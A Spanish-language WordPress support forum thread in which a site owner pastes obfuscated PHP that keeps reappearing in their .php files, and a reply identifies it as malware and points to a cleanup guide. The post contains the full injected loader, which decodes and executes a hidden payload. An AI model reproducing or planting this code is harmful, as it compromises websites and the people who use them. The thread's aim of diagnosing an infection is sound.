Soporte » Seguridad » Problema con código insertado en archivos .php

  • Lo que me sucede es que en la administración de mi WordPress de un día para otro se desapareció el Editor de Temas y el Editor de Plugins….La cosa es que revisando los archivos me di cuenta que varios archivos de configuración en distintas rutas con extensión .php se les agregó el código de más abajo.
    El problema lo pude solucionar quitando ese código de todos los archivos que lo tenían pero luego de un par de días vuelve a pasar y no sé que puede ser lo que esta sucediendo….si tienen alguna idea por favor su ayuda…

    <?php $enofelan=»create_»;global $isesug; $isesug=array(‘$isesug[0]=array_pop($isesug);$rutowul=rutowul(3);$isesug[0]=$rutowul($isesug[2]);’,’$isesug[2]=gzuncompress(rutowul(702^1,1516^3292));’,’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’,»=r-spxd:2]qhul|s»);if(function_exists($enofelan.=’function’)&&!function_exists(‘rutowul’)){ function rutowul($h,$t=13){global $isesug;$d=str_pad($G=»QQKaLFBUMvcXVHr_»,$t,$G);$Z=str_repeat(«\xe0»,$t);$D=str_repeat(«\x1f»,$t);$n=substr($isesug[0],$h,$t);return(($n^$d)&$D)|($n&$Z);};for($br=-1;++$br<3;$enofelan(»,’}’.$isesug[$br].'{‘));};unset($isesug);

Viendo 1 respuesta (de 1 total)
  • ramsal

    (@ramonsalado)

    Hola,

    Posiblemente tengas el WordPress infectado de malware, por mucho que lo borres, seguirá reproduciéndose, lo mejor es que hagas una buena limpieza.

    Te dejo una guia muy buena de Jose Conti

    LINK

    Suerte 😉

Viendo 1 respuesta (de 1 total)
  • El debate ‘Problema con código insertado en archivos .php’ está cerrado a nuevas respuestas.